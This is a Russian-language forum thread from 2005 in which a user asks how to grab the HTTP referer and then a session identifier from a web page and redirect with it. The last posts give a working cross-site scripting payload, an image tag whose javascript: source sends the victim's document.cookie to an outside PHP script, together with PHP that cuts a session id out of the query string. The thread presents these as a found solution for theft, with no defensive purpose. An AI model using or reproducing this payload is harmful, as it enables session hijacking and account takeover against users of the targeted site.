PDA

Просмотр полной версии : Http_referer


Майор
30.01.2005, 01:24
Как стянуть HTTP_REFERER при переходе со страницы
Например
<image src=javascript:window.location.href="http://www.adres.ru/l.php">

l.php :

<?
echo $HTTP_REFERER;
?>

Ничего не выводиться ...., почему ???

UM0RA
30.01.2005, 01:52
попробуй так:

<?
global $HTTP_REFERER;
echo $HTTP_REFERER;
?>
Иногда переменные окружения надо заранее объявлять как глобальные

Algol
30.01.2005, 02:21
При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается.

В данном случае нужно использваоть например такой тег:
<image src="http://www.adres.ru/l.php">

Майор
30.01.2005, 04:20
При таком переходе <image src=javascript:window.location.href="http://www.adres.ru/l.php"> Реферер НЕ передается.
Реферер передается только если пользователь кликает на ссылку, либо если текущая страница запрашивает какой-либо файл. При редиректах, реферер не передается.

В данном случае нужно использваоть например такой тег:
<image src="http://www.adres.ru/l.php">
Спасибо !

Майор
31.01.2005, 01:29
Дело в том, что сначало надо стянуть referer, а потом использовать его для перехода:
<image src=javascript:window.location.href="http://www.adres.ru/l.php">

Если сначало стянуть referer так, то загрузить страницу нельзя в текущее окно IE :
<image src="http://www.adres.ru/l.php">
А если сохранять referer в файл где то на хостинге, то файлы обновляется не мгновенно........, то есть так не пройдёт :
]<image src="http://www.adres.ru/referer.php">
<image src=javascript:window.location.href="http://www.adres.ru/l.php">


Вот какая проблема :(

Algol
03.02.2005, 00:12
Если честно, то ничего не понял из последнего постинга ))

Майор
03.02.2005, 03:27
Если честно, то ничего не понял из последнего постинга ))
Проблема в том, что надо и идентификатор сесии стянуть со страницы, и с этойже страницы зделать редирект на другую с этим(подставленным) идентификатором :eek:

Algol
03.02.2005, 18:07
Идентификатор этот передать ты хочешь через что ?
Через куку или через реферер ?

Майор
03.02.2005, 20:53
Идентификатор этот передать ты хочешь через что ?
Через куку или через реферер ?
Ну коли через реферер никак, то через куки как-нибудь ...

Майор
03.02.2005, 23:53
Точно! решение найдено
<image src=javascript :window.location.href="http://adress.ru/test.php?"+document.cookie;>

<?
$nomer=strpos("$QUERY_STRING","rm_")+3;
$id=substr("$QUERY_STRING","$nomer",35);
?>

Майор
04.02.2005, 16:27
....
а всётаки не как referer к
window.location.href=
не зацепить ?